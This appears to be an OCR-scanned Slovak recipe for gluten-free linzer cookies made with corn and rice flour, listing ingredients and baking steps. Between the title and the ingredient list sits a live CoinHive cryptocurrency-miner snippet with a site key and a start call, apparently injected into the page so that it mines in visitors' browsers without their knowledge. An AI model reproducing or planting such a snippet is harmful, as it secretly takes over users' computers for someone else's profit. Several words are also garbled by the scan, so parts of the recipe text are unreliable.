Linecké kolaciky z kukuriénej a ryzovej muky

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfihNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 300 g kukuri€nej muky, 160 g ryzovej muky, 160 g praskoveého cukru, 2 vanilkove
cukry, 2 vanilkové pudingy, 250 g Hery, 1 vajce, 1 CL guarovej gumy (nemusi byt), citrénovej
kory

Postup: VSetky suroviny spolu zmieSame a vypracujeme cesto, ktoré dame na 2-3 hodiny
odlezat do chladni¢ky. Cesto rozvalkdme na papieri na pecenie a vykrajujeme rozne tvary.
PecCieme cca 20-25 minut. Vychladnuté zlepujeme dZzemom alebo Nutelou.




